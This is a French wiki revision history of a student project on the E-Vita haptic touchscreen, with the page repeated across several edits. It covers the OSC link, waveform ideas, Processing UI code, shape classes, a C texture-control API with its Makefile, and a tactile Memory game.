sudo mv $(DYNAMIC) /usr/lib
sudo mv $(HEAD) /usr/include

static:$(STATIC)
$(CC) main.c -L/home/pierre/PFEEVITA/EvitaControl/pfitouss/ -I/home/pierre/PFEEVITA/EvitaControl/pfitouss/ -lTextureControl -lm

$(STATIC):$(OBJ)
$(AR) rcs $(STATIC) $(OBJ)

== Application ==

Afin de présenter la bibliothèque, j'ai développé une application mettant en valeur le retour tactile.

Pour ceux, j'ai penser à réaliser le jeu "Memory".
Le jeu se présente ainsi :
*On dspose un nombre pair de cartes face cachée.
*L'utilisateur en retourne une et découvre le symbole sur la face recto de la carte.
*L'utilisateur cherche donc la paire correspondante dans le jeu mais n'a qu'un seul essai avant que les deux cartes ne se retournent face verso.
*Grâce à sa mémoire et à la chance, il doit donc composé des paires de cartes qui se retirent du jeu quand une bonne pair est trouvé.

J'ai adapté le jeu, afin que ce ne soit pas des symboles qui s'affichent sur le recto de la carte mais bien une texture tactile.
À la vue des contraintes, l'utilisateur devra validé sa paire avec un bouton adéquate.

On peut structurer le jeu ainsi :

*Initialisation du plateau de jeu (18 cartes face verso).
**Distribution aléatoire 18/2 textures
*Tant que toutes les paires ne sont pas trouvées
**Tirer la première carte
***Sentir le motif tactile
**Tirer la deuxième carte
***Sentir le motif tactile
**Valider
**Test des motifs
***Si texture équivalente -> Le joueur gagne 1 points, le nombre de coup joué prend +1 -> Les cartes sont retirés
***Si texture non-équivalente -> Le nombre de coup joué prend +1 -> les cartes sont remises faces verso.
*Fin tant que
*Affichage du nombre de coups joués + durée de la partie.

[[Fichier:Menu jeu.png|350px|thumb|center]
[[Fichier:Game.png|350px|thumb|center]]
[[Fichier:Pause.png|350px|thumb|center]]
[[Fichier:Win.png|350px|thumb|center]]

P42 Dispositif à retour tactile

2017-02-23T01:14:27Z

Pfitouss : /* Application */

=Contexte du sujet=
L'E-vita s'inscrit dans une nouvelle démarche en faveur de l'interface homme-machine.
Depuis des année la technologie exploite nos sens de différente manière, l'idée de faire répondre la machine et de se faire comprendre par l'utilisateur, est obligatoire au bon fonctionnement de programme et autre fonctions. L'ouï, la vue sont les sens les plus exploiter par la technologie depuis le commencement.
Mais depuis un long moment le toucher se répand sur les différents système afin de s'approcher au plus près de l'utilisateur, l'écran tactile s'inscrit donc dans une nouvelle ère technologique, où les machines ne sont plus contrôler via des interrupteur ou bouton, mais via les différentes possibilités du toucher sur un écran.
Noter cependant que si depuis très longtemps les écran nous transmettent des informations, que l'on arrive également à contrôler des système via le son (clap des mains pour éteindre la lumière), il n'existe pas de dispositif tactile qui fonctionne en duplex (Homme vers machine, machine vers homme).

C'est dans ce contexte que le bureau d'étude de l'IRCICA met au point l'E-Vita, un dispositif tactile qui non seulement permet la communication d'un homme vers la machine mais qui est également capable de faire communiquer,grâce au toucher, la machine vers l'utilisateur.
Le projet E-Vita, lancé en 2003, est capable aujourd'hui, via différentes applications test, de faire ressentir à son utilisateur différentes formes d'ondes (motifs), via des céramiques piezo-electriques. La dalle se met à vibrer sous le doigt de l'utilisateur ainsi la machine communique avec son utilisateur.

=Objectif du sujet=
L'objectif de ce Projet de fin d'étude, et de réétudier la loi de contrôle qui permet au µC de contrôler les céramiques.
Actuellement une couche hardware supérieur récupère le mouvement du doigt ainsi que sa vitesse afin de faire ressentir à l'utilisateur un motif, une vibration électronique unique, typiquement une forme d'onde. L'idée principale et de rajouter de la dynamique dans la commande des céramiques afin que les motif ne soit plus enregistrée en dur dans le micro-controleur. Une possibilité envisageable pour cette définition de motif ainsi que la transmission de l'ordre, et de passer dans le domaine fréquentielle.
Je citais plus haut que le dispositif se décompose en plusieurs couches matérielles et logicielles, afin de les faire communiquer une couche transport OSC est utilisé afin de faire communiquer le micro-controller et le Banana Pi. Seulement pour des raison évidentes lorsque la plaque vibre, il n'y a que la surface de contact qui se mets réellement à osciller, on a donc ici un soucis de delai entre le moment où l'utilisateur pose son doigt, se déplace, et le suivi de par le programme des zone de vibrations. Il est envisageable si le projet se déroule bien de pouvoir réétudier la question de la programmation événementielle de la tablette tactile, afin que se temps de latence soit le plus bas possible.

==Protocole de communication OSC==

Afin de faire la liaison entre le Banana Pi et le micro-controlleur, la couche liaison est réalisé grâce au protocole Open Sound Control.
OSC est un protocole créer afin de faciliter la transmission d'information multimédia sur un réseau.
Utilisé pour la transmission de musique cela s'adapte a notre transmission de fréquence pour la vibration des céramique.
Cette communication utilise les normes TCP et UDP pour la communication temps réel entre le serveur et le client.

Les paquets sont transmis avec deux informations, la première information est la taille du paquet OCS et la deuxième le paquet lui-même.
La taille des paquets OCS sont toujours un multiple de 4. Cela permet un alignement des différents block transmis.
Le contenus d'un paquet peut soit être un OSC Messages ou un OSC Bundle

Quand le serveur reçoit un simple OSC Message il doit s'empresser d'invoquer la méthode associé.
A la différence, le OSC Bundle qui comporte lui-même une identification de temps, la méthode devra être éxécuté si le Time-Tag du bundle est égal ou déjà passé, et à l'inverse devra stocker le bundle et lancé la méthode au bon moment si le Time-Tag indique un évèvenement futur.

Cette réalisation permet un résultat temps réel sur l'application, entre le moment du contact entre le doigt et la tablette et l'action de vibration des céramiques.

==Retour des valeurs d'amplitude sur la plaque piezo==

Aujourd'hui le contrôle des céramique se fait grâce à des fichiers écrits en "dur" dans le programme, chacun des ses fichiers se présente sous la forme d'un tableau de 10000 valeurs d'entier.
Un entier est composé de 4 octets, sachant que 4 formes d'ondes sont utilisées dans la gamme de fréquence (50, 100, 500, 1000, 5000, 10000).
Cela correspond donc à 6*4*4*10000 = 960 ko de mémoire utilisé.

Une solution évidente serait de non pas récupérer la valeur dans un tableau mais bien de la calculer voir de la prédire en fonction du déplacement, de la dimension de l'écran, de la fréquence de rafraîchissement.

Signal Sinusoîdal -> sin(wt)
Signal Carré -> x(t) = 1 , 0 < t <= T et 0, T < t < 2T.
Signal dent de scie -> x(t) = t, 0 < t < 2T
Signal Dirac

Un passage dans le domaine fréquentiel permettrait de généralisé le calcul des valeurs de retour. Ainsi qu'une représentation plus formelle du problème.

=Cahier des charges=

Établir une représentation visuel d'un mouvement de rotation sur une application de verrrouillage/dévérouillage par code/retour tactile.

Concevoir une librairies facilitant la programmation d'application utilisant le retour tactile.

=Avancé du travail=
Afin d’appréhender le problème facilement j'ai commencé par représenter un segment en direction du chiffre en cours de sélection.

[[Fichier:Ligne_numero_1.png|500px|left]][[Fichier:Ligne_numero_6.png|500px]]

Le code correspondant est un classique switch/case inscrit dans la fonction draw() :

fill(255, 0, 0);
switch (currentNumber){
case 1:
fill(255, 0, 0);
line(240,340,116,800-552);
break;

case 2:
fill(255, 0, 0);
line(240,340,239,800-676);
break;
case 3:
fill(255, 0, 0);
line(240,340,384,800-558);
break;

case 4:
fill(255, 0, 0);
line(240,340,381,800-372);
break;

case 5:
fill(255, 0, 0);
line(240,340,237,800-257);
break;
case 6:

fill(255, 0, 0);
line(240,340,98,800-372);
break;
}

Je décide donc de réaliser un cercle autour du bouton "OK" avec 4 segments permettant d'observer une rotation du cercle toujours dans la fonction draw() :

if (!creatingCode){
translate(240, 333); // On place le référentiel au centre du bouton "OK"

rotate(direction * millis() * 0.001 * TWO_PI / 1O.0); // Créer une rotation de 360° en 10 secondes.
noFill();
strokeWeight(5);
ellipseMode(CENTER);
ellipse(0,0,145,145);
line(75,0,90,0);
line(-75,0,-90,0);
line(0,75,0,90);
line(0,-75,0,-90);
}

Pour l'instant la rotation se fait sans arrêt, cela ne convient qu'a moitié, mais elle permet tout de même de tourner plus vite si jamais on appuie plus d'une fois sur une des flèches jaunes.

Afin d'obtenir une solution plus adéquate divers variables globales sont utilisées :

int direction = 0; // Sens de direction rotation 0 = fixe / +n = décalage trigo / -n = décalage anti-trigo
int nb_frame = 0; // Enregistre le nombre de frame lorque l'on appuie sur une des flèches.
float phi = 0.; // Sert contient le calcul de la phase pour la rotation.

La variable direction est modifié à chaque appuie sur une des deux flèches jaunes. Elle incrémente un compteur qui reset à chaque fin de rotation.
La rotation est rendu possible grâce au combo pushMatrix()/popMatrix() elle me permet d'afficher 6 segments séparés d'un angle de pi/3.
La variable phi correspond à la phase du premier segment, c'est cet élémént qui réalise réellement la rotation.

if (!creatingCode){
translate(240, 333); // Centrage sur "OK"
noFill();
strokeWeight(5);
ellipseMode(CENTER);
ellipse(0,0,145,145);
if (frameCount < nb_frame +60){ // Calcul de la position du premier segment
phi = direction * ((nb_frame-frameCount)/60.) * PI/3; // Le frameRate est fixé à 60 itérations/s
}else{
direction =0; // Reset de la variable d'appui
}
//Creation des segments
for (int i=0; i<6; i++){ // Cette boucle permet donc de créer les 6 segments et de donner l'impression qu'il tourne autour du cercle
pushMatrix();
rotate(phi + i*PI/3);
line(75,0,90,0);
popMatrix();
}
}

Une animation est disponible au lien suivant :
[[Fichier: Rotation_propre.mp4|500px|center| Rotation]]

==Boite à outils Haut Niveau==

Afin de créer un polymorphisme des classe Trectangle et Tcircle, cela permettra de créer une méthode sendControl général pour toute les classes.

Conception des classes représentant les motifs élémentaires.
Conception des méthodes isIn : permet de savoir si un point de coordonnée x,y est contenu dans le motif.
Conception des méthodes dessiner : permet de dessiner le motif élémentaire
Première réflexions sur un la création d'un ensemble de motif élémentaire via un hashMap.

===La classe abstraite Tforme ===

abstract class Tforme{
String ensemble;
int motif;
void addMotif(int iMotif){
motif = iMotif;
}

void sendControl(){
println(motif);
}

abstract boolean isIn(int xpos, int ypos);
abstract void dessiner();

}

===La classe Trectangle===

class Trectangle extends Tforme{
int x1, y1, x2, y2;

Trectangle(int xpos, int ypos, int hauteur, int largeur){
x1 = xpos;
x2 = xpos + hauteur;
y1 = ypos;
y2 = ypos + largeur;
}
void dessiner(){
rect(x1,y1,x2,y2);
}

boolean isIn(int xpos, int ypos){
if (xpos > x1 && xpos < x2 && ypos > y1 && ypos < y2){
return true;
}else{
return false;
}
}

void setEnsemble(String ensemble){
this.ensemble = ensemble;
// rajoute une entree dans la HashMap
}
}

===La classe Tcircle===

class Tcircle extends Tforme{
int x,y;
int radius;
Tcircle(int xpos, int ypos, int rayon){
x = xpos;
y = ypos;
radius = rayon;
}
void dessiner(){
ellipseMode(CENTER);
ellipse((float)x, (float)y, (float)radius, (float)radius);
}
boolean isIn(int xpos, int ypos){
float dist = sqrt(pow(x - xpos,2) + pow(y-ypos,2));
if (dist <= radius){
return true;
}else{
return false;
}
}

void setEnsemble(String ensemble){
this.ensemble = ensemble;
}
}

===Fonction de Rotation===

Il est facilement imaginable qu'un développeur aura besoin de manipuler ses objet dans l'espace et donc de vouloir en modifier leur angle.
L'outil processing permet de réalise une rotation via la commande

rotate()

Ayant utilisé plusieurs configuration, je ne parviens pas à obtenir une rotation depuis le centre de l'élément.

Photo 1

Malgrès mes essais avec l'option RectMode() qui permet de définir un rectangle depuis son centre, je n'aboutit toujours pas.

Photo 2

Il me semble donc obligatoire d'utiliser un peu de trigonométrie :

Photo table de vérité + Représentation schématique

==Boite à Outils Bas Niveau==

Afin de porter le développement vers le plus de langage possible, la boite à outils contient une base faite en C.
Cela permet grâce à des outils de type ''Java Nativ Interface'' de compiler la boite à outils bas niveau directement dans un langage plus adapté à la programmation graphique.

On manipule donc nos structure en C en rendant publique les méthodes :

int startEvita(); // Initialisation
void stopEvita();

void setTaxtTelRect(int id,int textureId, int x1, int y1, int x2, int y2); //Définition forme géométrique où sera présente la texture : Taxtel
void setTaxtTelEllipse(int id,int textureId, int x1, int y1, int x2, int y2, int r); //Idem mais de manière elliptique
void disableTaxtTel(int id, int textureId); //Désactive le retour tactile pour la forme sélectionné

void setTextureRect(int textureId,float offset,float amplitude,float period,float ratio,char* speedFunc); //Fonction définissant les texture possible : Signal Carré / Sinusoïde
void setTextureCos(int textureId,float offset,float amplitude,float period, char* speedFunc);

void registerCallbackPressed(void (*myfonction) (int x, int y)); //Fonction permettant de choisir la méthode d'entrée voulu : Ecran Tactile, Souris,...
void registerCallbackDragged(void (*myfonction) (int x, int y));
void registerCallbackRelease(void (*myfonction)());
void registerCallbackSpeed(void (*myfonction) (int speedX, int speedY));
void registerCallbackTexture(void (*myfonction) (int signal, int period));

Ces différentes fonction servirons de base pour tout programme utilisant la technologie du retour tactile.

Et ci-dessous le makefile générant au choix une librairie statique/dynamique :

CC=gcc
AR=ar
EXEC=main
SOURCE=libTextureControl.c
OBJ=libTextureControl.o
STATIC=libTextureControl.a
DYNAMIC=libTextureControl.so
HEAD=libTextureControl.h

clean:
rm -rf *.o *.a *.so *.out

dynamic:$(DYNAMIC)
$(CC) main.c -L/home/pierre/PFEEVITA/EvitaControl/pfitouss/ -I/home/pierre/PFEEVITA/EvitaControl/pfitouss/ -lTextureControl -lm

$(DYNAMIC):$(OBJ)
gcc -shared -o $(DYNAMIC) $(OBJ)

$(OBJ):$(SOURCE)
gcc -c -fPIC $(SOURCE)

install:
sudo mv $(STATIC) /usr/lib
sudo mv $(DYNAMIC) /usr/lib
sudo mv $(HEAD) /usr/include

static:$(STATIC)
$(CC) main.c -L/home/pierre/PFEEVITA/EvitaControl/pfitouss/ -I/home/pierre/PFEEVITA/EvitaControl/pfitouss/ -lTextureControl -lm

$(STATIC):$(OBJ)
$(AR) rcs $(STATIC) $(OBJ)

== Application ==

Afin de présenter la bibliothèque, j'ai développé une application mettant en valeur le retour tactile.

Pour ceux, j'ai penser à réaliser le jeu "Memory".
Le jeu se présente ainsi :
*On dspose un nombre pair de cartes face cachée.
*L'utilisateur en retourne une et découvre le symbole sur la face recto de la carte.
*L'utilisateur cherche donc la paire correspondante dans le jeu mais n'a qu'un seul essai avant que les deux cartes ne se retournent face verso.
*Grâce à sa mémoire et à la chance, il doit donc composé des paires de cartes qui se retirent du jeu quand une bonne pair est trouvé.

J'ai adapté le jeu, afin que ce ne soit pas des symboles qui s'affichent sur le recto de la carte mais bien une texture tactile.
À la vue des contraintes, l'utilisateur devra validé sa paire avec un bouton adéquate.

On peut structurer le jeu ainsi :

*Initialisation du plateau de jeu (18 cartes face verso).
**Distribution aléatoire 18/2 textures
*Tant que toutes les paires ne sont pas trouvées
**Tirer la première carte
***Sentir le motif tactile
**Tirer la deuxième carte
***Sentir le motif tactile
**Valider
**Test des motifs
***Si texture équivalente -> Le joueur gagne 1 points, le nombre de coup joué prend +1 -> Les cartes sont retirés
***Si texture non-équivalente -> Le nombre de coup joué prend +1 -> les cartes sont remises faces verso.
*Fin tant que
*Affichage du nombre de coups joués + durée de la partie.

[[Fichier:Menu jeu.png|200px|thumb|left]]
[[Fichier:Game.png|200px|thumb|right]]
[[Fichier:Pause.png|200px|thumb|right]]
[[Fichier:Win.png|200px|thumb|right]]

P42 Dispositif à retour tactile

2017-02-23T01:13:58Z

Pfitouss : /* Application */

=Contexte du sujet=
L'E-vita s'inscrit dans une nouvelle démarche en faveur de l'interface homme-machine.
Depuis des année la technologie exploite nos sens de différente manière, l'idée de faire répondre la machine et de se faire comprendre par l'utilisateur, est obligatoire au bon fonctionnement de programme et autre fonctions. L'ouï, la vue sont les sens les plus exploiter par la technologie depuis le commencement.
Mais depuis un long moment le toucher se répand sur les différents système afin de s'approcher au plus près de l'utilisateur, l'écran tactile s'inscrit donc dans une nouvelle ère technologique, où les machines ne sont plus contrôler via des interrupteur ou bouton, mais via les différentes possibilités du toucher sur un écran.
Noter cependant que si depuis très longtemps les écran nous transmettent des informations, que l'on arrive également à contrôler des système via le son (clap des mains pour éteindre la lumière), il n'existe pas de dispositif tactile qui fonctionne en duplex (Homme vers machine, machine vers homme).

C'est dans ce contexte que le bureau d'étude de l'IRCICA met au point l'E-Vita, un dispositif tactile qui non seulement permet la communication d'un homme vers la machine mais qui est également capable de faire communiquer,grâce au toucher, la machine vers l'utilisateur.
Le projet E-Vita, lancé en 2003, est capable aujourd'hui, via différentes applications test, de faire ressentir à son utilisateur différentes formes d'ondes (motifs), via des céramiques piezo-electriques. La dalle se met à vibrer sous le doigt de l'utilisateur ainsi la machine communique avec son utilisateur.

=Objectif du sujet=
L'objectif de ce Projet de fin d'étude, et de réétudier la loi de contrôle qui permet au µC de contrôler les céramiques.
Actuellement une couche hardware supérieur récupère le mouvement du doigt ainsi que sa vitesse afin de faire ressentir à l'utilisateur un motif, une vibration électronique unique, typiquement une forme d'onde. L'idée principale et de rajouter de la dynamique dans la commande des céramiques afin que les motif ne soit plus enregistrée en dur dans le micro-controleur. Une possibilité envisageable pour cette définition de motif ainsi que la transmission de l'ordre, et de passer dans le domaine fréquentielle.
Je citais plus haut que le dispositif se décompose en plusieurs couches matérielles et logicielles, afin de les faire communiquer une couche transport OSC est utilisé afin de faire communiquer le micro-controller et le Banana Pi. Seulement pour des raison évidentes lorsque la plaque vibre, il n'y a que la surface de contact qui se mets réellement à osciller, on a donc ici un soucis de delai entre le moment où l'utilisateur pose son doigt, se déplace, et le suivi de par le programme des zone de vibrations. Il est envisageable si le projet se déroule bien de pouvoir réétudier la question de la programmation événementielle de la tablette tactile, afin que se temps de latence soit le plus bas possible.

==Protocole de communication OSC==

Afin de faire la liaison entre le Banana Pi et le micro-controlleur, la couche liaison est réalisé grâce au protocole Open Sound Control.
OSC est un protocole créer afin de faciliter la transmission d'information multimédia sur un réseau.
Utilisé pour la transmission de musique cela s'adapte a notre transmission de fréquence pour la vibration des céramique.
Cette communication utilise les normes TCP et UDP pour la communication temps réel entre le serveur et le client.

Les paquets sont transmis avec deux informations, la première information est la taille du paquet OCS et la deuxième le paquet lui-même.
La taille des paquets OCS sont toujours un multiple de 4. Cela permet un alignement des différents block transmis.
Le contenus d'un paquet peut soit être un OSC Messages ou un OSC Bundle

Quand le serveur reçoit un simple OSC Message il doit s'empresser d'invoquer la méthode associé.
A la différence, le OSC Bundle qui comporte lui-même une identification de temps, la méthode devra être éxécuté si le Time-Tag du bundle est égal ou déjà passé, et à l'inverse devra stocker le bundle et lancé la méthode au bon moment si le Time-Tag indique un évèvenement futur.

Cette réalisation permet un résultat temps réel sur l'application, entre le moment du contact entre le doigt et la tablette et l'action de vibration des céramiques.

==Retour des valeurs d'amplitude sur la plaque piezo==

Aujourd'hui le contrôle des céramique se fait grâce à des fichiers écrits en "dur" dans le programme, chacun des ses fichiers se présente sous la forme d'un tableau de 10000 valeurs d'entier.
Un entier est composé de 4 octets, sachant que 4 formes d'ondes sont utilisées dans la gamme de fréquence (50, 100, 500, 1000, 5000, 10000).
Cela correspond donc à 6*4*4*10000 = 960 ko de mémoire utilisé.

Une solution évidente serait de non pas récupérer la valeur dans un tableau mais bien de la calculer voir de la prédire en fonction du déplacement, de la dimension de l'écran, de la fréquence de rafraîchissement.

Signal Sinusoîdal -> sin(wt)
Signal Carré -> x(t) = 1 , 0 < t <= T et 0, T < t < 2T.
Signal dent de scie -> x(t) = t, 0 < t < 2T
Signal Dirac

Un passage dans le domaine fréquentiel permettrait de généralisé le calcul des valeurs de retour. Ainsi qu'une représentation plus formelle du problème.

=Cahier des charges=

Établir une représentation visuel d'un mouvement de rotation sur une application de verrrouillage/dévérouillage par code/retour tactile.

Concevoir une librairies facilitant la programmation d'application utilisant le retour tactile.

=Avancé du travail=
Afin d’appréhender le problème facilement j'ai commencé par représenter un segment en direction du chiffre en cours de sélection.

[[Fichier:Ligne_numero_1.png|500px|left]][[Fichier:Ligne_numero_6.png|500px]]

Le code correspondant est un classique switch/case inscrit dans la fonction draw() :

fill(255, 0, 0);
switch (currentNumber){
case 1:
fill(255, 0, 0);
line(240,340,116,800-552);
break;

case 2:
fill(255, 0, 0);
line(240,340,239,800-676);
break;
case 3:
fill(255, 0, 0);
line(240,340,384,800-558);
break;

case 4:
fill(255, 0, 0);
line(240,340,381,800-372);
break;

case 5:
fill(255, 0, 0);
line(240,340,237,800-257);
break;
case 6:

fill(255, 0, 0);
line(240,340,98,800-372);
break;
}

Je décide donc de réaliser un cercle autour du bouton "OK" avec 4 segments permettant d'observer une rotation du cercle toujours dans la fonction draw() :

if (!creatingCode){
translate(240, 333); // On place le référentiel au centre du bouton "OK"

rotate(direction * millis() * 0.001 * TWO_PI / 1O.0); // Créer une rotation de 360° en 10 secondes.
noFill();
strokeWeight(5);
ellipseMode(CENTER);
ellipse(0,0,145,145);
line(75,0,90,0);
line(-75,0,-90,0);
line(0,75,0,90);
line(0,-75,0,-90);
}

Pour l'instant la rotation se fait sans arrêt, cela ne convient qu'a moitié, mais elle permet tout de même de tourner plus vite si jamais on appuie plus d'une fois sur une des flèches jaunes.

Afin d'obtenir une solution plus adéquate divers variables globales sont utilisées :

int direction = 0; // Sens de direction rotation 0 = fixe / +n = décalage trigo / -n = décalage anti-trigo
int nb_frame = 0; // Enregistre le nombre de frame lorque l'on appuie sur une des flèches.
float phi = 0.; // Sert contient le calcul de la phase pour la rotation.

La variable direction est modifié à chaque appuie sur une des deux flèches jaunes. Elle incrémente un compteur qui reset à chaque fin de rotation.
La rotation est rendu possible grâce au combo pushMatrix()/popMatrix() elle me permet d'afficher 6 segments séparés d'un angle de pi/3.
La variable phi correspond à la phase du premier segment, c'est cet élémént qui réalise réellement la rotation.

if (!creatingCode){
translate(240, 333); // Centrage sur "OK"
noFill();
strokeWeight(5);
ellipseMode(CENTER);
ellipse(0,0,145,145);
if (frameCount < nb_frame +60){ // Calcul de la position du premier segment
phi = direction * ((nb_frame-frameCount)/60.) * PI/3; // Le frameRate est fixé à 60 itérations/s
}else{
direction =0; // Reset de la variable d'appui
}
//Creation des segments
for (int i=0; i<6; i++){ // Cette boucle permet donc de créer les 6 segments et de donner l'impression qu'il tourne autour du cercle
pushMatrix();
rotate(phi + i*PI/3);
line(75,0,90,0);
popMatrix();
}
}

Une animation est disponible au lien suivant :
[[Fichier: Rotation_propre.mp4|500px|center| Rotation]]

==Boite à outils Haut Niveau==

Afin de créer un polymorphisme des classe Trectangle et Tcircle, cela permettra de créer une méthode sendControl général pour toute les classes.

Conception des classes représentant les motifs élémentaires.
Conception des méthodes isIn : permet de savoir si un point de coordonnée x,y est contenu dans le motif.
Conception des méthodes dessiner : permet de dessiner le motif élémentaire
Première réflexions sur un la création d'un ensemble de motif élémentaire via un hashMap.

===La classe abstraite Tforme ===

abstract class Tforme{
String ensemble;
int motif;
void addMotif(int iMotif){
motif = iMotif;
}

void sendControl(){
println(motif);
}

abstract boolean isIn(int xpos, int ypos);
abstract void dessiner();

}

===La classe Trectangle===

class Trectangle extends Tforme{
int x1, y1, x2, y2;

Trectangle(int xpos, int ypos, int hauteur, int largeur){
x1 = xpos;
x2 = xpos + hauteur;
y1 = ypos;
y2 = ypos + largeur;
}
void dessiner(){
rect(x1,y1,x2,y2);
}

boolean isIn(int xpos, int ypos){
if (xpos > x1 && xpos < x2 && ypos > y1 && ypos < y2){
return true;
}else{
return false;
}
}

void setEnsemble(String ensemble){
this.ensemble = ensemble;
// rajoute une entree dans la HashMap
}
}

===La classe Tcircle===

class Tcircle extends Tforme{
int x,y;
int radius;
Tcircle(int xpos, int ypos, int rayon){
x = xpos;
y = ypos;
radius = rayon;
}
void dessiner(){
ellipseMode(CENTER);
ellipse((float)x, (float)y, (float)radius, (float)radius);
}
boolean isIn(int xpos, int ypos){
float dist = sqrt(pow(x - xpos,2) + pow(y-ypos,2));
if (dist <= radius){
return true;
}else{
return false;
}
}

void setEnsemble(String ensemble){
this.ensemble = ensemble;
}
}

===Fonction de Rotation===

Il est facilement imaginable qu'un développeur aura besoin de manipuler ses objet dans l'espace et donc de vouloir en modifier leur angle.
L'outil processing permet de réalise une rotation via la commande

rotate()

Ayant utilisé plusieurs configuration, je ne parviens pas à obtenir une rotation depuis le centre de l'élément.

Photo 1

Malgrès mes essais avec l'option RectMode() qui permet de définir un rectangle depuis son centre, je n'aboutit toujours pas.

Photo 2

Il me semble donc obligatoire d'utiliser un peu de trigonométrie :

Photo table de vérité + Représentation schématique

==Boite à Outils Bas Niveau==

Afin de porter le développement vers le plus de langage possible, la boite à outils contient une base faite en C.
Cela permet grâce à des outils de type ''Java Nativ Interface'' de compiler la boite à outils bas niveau directement dans un langage plus adapté à la programmation graphique.

On manipule donc nos structure en C en rendant publique les méthodes :

int startEvita(); // Initialisation
void stopEvita();

void setTaxtTelRect(int id,int textureId, int x1, int y1, int x2, int y2); //Définition forme géométrique où sera présente la texture : Taxtel
void setTaxtTelEllipse(int id,int textureId, int x1, int y1, int x2, int y2, int r); //Idem mais de manière elliptique
void disableTaxtTel(int id, int textureId); //Désactive le retour tactile pour la forme sélectionné

void setTextureRect(int textureId,float offset,float amplitude,float period,float ratio,char* speedFunc); //Fonction définissant les texture possible : Signal Carré / Sinusoïde
void setTextureCos(int textureId,float offset,float amplitude,float period, char* speedFunc);

void registerCallbackPressed(void (*myfonction) (int x, int y)); //Fonction permettant de choisir la méthode d'entrée voulu : Ecran Tactile, Souris,...
void registerCallbackDragged(void (*myfonction) (int x, int y));
void registerCallbackRelease(void (*myfonction)());
void registerCallbackSpeed(void (*myfonction) (int speedX, int speedY));
void registerCallbackTexture(void (*myfonction) (int signal, int period));

Ces différentes fonction servirons de base pour tout programme utilisant la technologie du retour tactile.

Et ci-dessous le makefile générant au choix une librairie statique/dynamique :

CC=gcc
AR=ar
EXEC=main
SOURCE=libTextureControl.c
OBJ=libTextureControl.o
STATIC=libTextureControl.a
DYNAMIC=libTextureControl.so
HEAD=libTextureControl.h

clean:
rm -rf *.o *.a *.so *.out

dynamic:$(DYNAMIC)
$(CC) main.c -L/home/pierre/PFEEVITA/EvitaControl/pfitouss/ -I/home/pierre/PFEEVITA/EvitaControl/pfitouss/ -lTextureControl -lm

$(DYNAMIC):$(OBJ)
gcc -shared -o $(DYNAMIC) $(OBJ)

$(OBJ):$(SOURCE)
gcc -c -fPIC $(SOURCE)

install:
sudo mv $(STATIC) /usr/lib
sudo mv $(DYNAMIC) /usr/lib
sudo mv $(HEAD) /usr/include

static:$(STATIC)
$(CC) main.c -L/home/pierre/PFEEVITA/EvitaControl/pfitouss/ -I/home/pierre/PFEEVITA/EvitaControl/pfitouss/ -lTextureControl -lm

$(STATIC):$(OBJ)
$(AR) rcs $(STATIC) $(OBJ)

== Application ==

Afin de présenter la bibliothèque, j'ai développé une application mettant en valeur le retour tactile.

Pour ceux, j'ai penser à réaliser le jeu "Memory".
Le jeu se présente ainsi :
*On dspose un nombre pair de cartes face cachée.
*L'utilisateur en retourne une et découvre le symbole sur la face recto de la carte.
*L'utilisateur cherche donc la paire correspondante dans le jeu mais n'a qu'un seul essai avant que les deux cartes ne se retournent face verso.
*Grâce à sa mémoire et à la chance, il doit donc composé des paires de cartes qui se retirent du jeu quand une bonne pair est trouvé.

J'ai adapté le jeu, afin que ce ne soit pas des symboles qui s'affichent sur le recto de la carte mais bien une texture tactile.
À la vue des contraintes, l'utilisateur devra validé sa paire avec un bouton adéquate.

On peut structurer le jeu ainsi :

*Initialisation du plateau de jeu (18 cartes face verso).
**Distribution aléatoire 18/2 textures
*Tant que toutes les paires ne sont pas trouvées
**Tirer la première carte
***Sentir le motif tactile
**Tirer la deuxième carte
***Sentir le motif tactile
**Valider
**Test des motifs
***Si texture équivalente -> Le joueur gagne 1 points, le nombre de coup joué prend +1 -> Les cartes sont retirés
***Si texture non-équivalente -> Le nombre de coup joué prend +1 -> les cartes sont remises faces verso.
*Fin tant que
*Affichage du nombre de coups joués + durée de la partie.

[[Fichier:Menu.png|200px|thumb|left]]
[[Fichier:Game.png|200px|thumb|right]]
[[Fichier:Pause.png|200px|thumb|right]]
[[Fichier:Win.png|200px|thumb|right]]

Fichier:Win.png

2017-02-23T01:11:54Z

Pfitouss :

Fichier:Pause.png

2017-02-23T00:59:51Z

Pfitouss :

Fichier:Game.png

2017-02-23T00:59:28Z

Pfitouss :

Fichier:Menu jeu.png

2017-02-23T00:57:54Z

Pfitouss :

P42 Dispositif à retour tactile

2017-02-20T15:10:18Z

Pfitouss : /* Boite à Outils Bas Niveau */

P42 Dispositif à retour tactile

2017-02-10T13:39:59Z

Pfitouss : /* Boite à Outils Bas Niveau */

P42 Dispositif à retour tactile

2017-02-06T16:34:33Z

Pfitouss : /* Boite à Outils Bas Niveau */

=Contexte du sujet=
L'E-vita s'inscrit dans une nouvelle démarche en faveur de l'interface homme-machine.
Depuis des année la technologie exploite nos sens de différente manière, l'idée de faire répondre la machine et de se faire comprendre par l'utilisateur, est obligatoire au bon fonctionnement de programme et autre fonctions. L'ouï, la vue sont les sens les plus exploiter par la technologie depuis le commencement.
Mais depuis un long moment le toucher se répand sur les différents système afin de s'approcher au plus près de l'utilisateur, l'écran tactile s'inscrit donc dans une nouvelle ère technologique, où les machines ne sont plus contrôler via des interrupteur ou bouton, mais via les différentes possibilités du toucher sur un écran.
Noter cependant que si depuis très longtemps les écran nous transmettent des informations, que l'on arrive également à contrôler des système via le son (clap des mains pour éteindre la lumière), il n'existe pas de dispositif tactile qui fonctionne en duplex (Homme vers machine, machine vers homme).

C'est dans ce contexte que le bureau d'étude de l'IRCICA met au point l'E-Vita, un dispositif tactile qui non seulement permet la communication d'un homme vers la machine mais qui est également capable de faire communiquer,grâce au toucher, la machine vers l'utilisateur.
Le projet E-Vita, lancé en 2003, est capable aujourd'hui, via différentes applications test, de faire ressentir à son utilisateur différentes formes d'ondes (motifs), via des céramiques piezo-electriques. La dalle se met à vibrer sous le doigt de l'utilisateur ainsi la machine communique avec son utilisateur.

=Objectif du sujet=
L'objectif de ce Projet de fin d'étude, et de réétudier la loi de contrôle qui permet au µC de contrôler les céramiques.
Actuellement une couche hardware supérieur récupère le mouvement du doigt ainsi que sa vitesse afin de faire ressentir à l'utilisateur un motif, une vibration électronique unique, typiquement une forme d'onde. L'idée principale et de rajouter de la dynamique dans la commande des céramiques afin que les motif ne soit plus enregistrée en dur dans le micro-controleur. Une possibilité envisageable pour cette définition de motif ainsi que la transmission de l'ordre, et de passer dans le domaine fréquentielle.
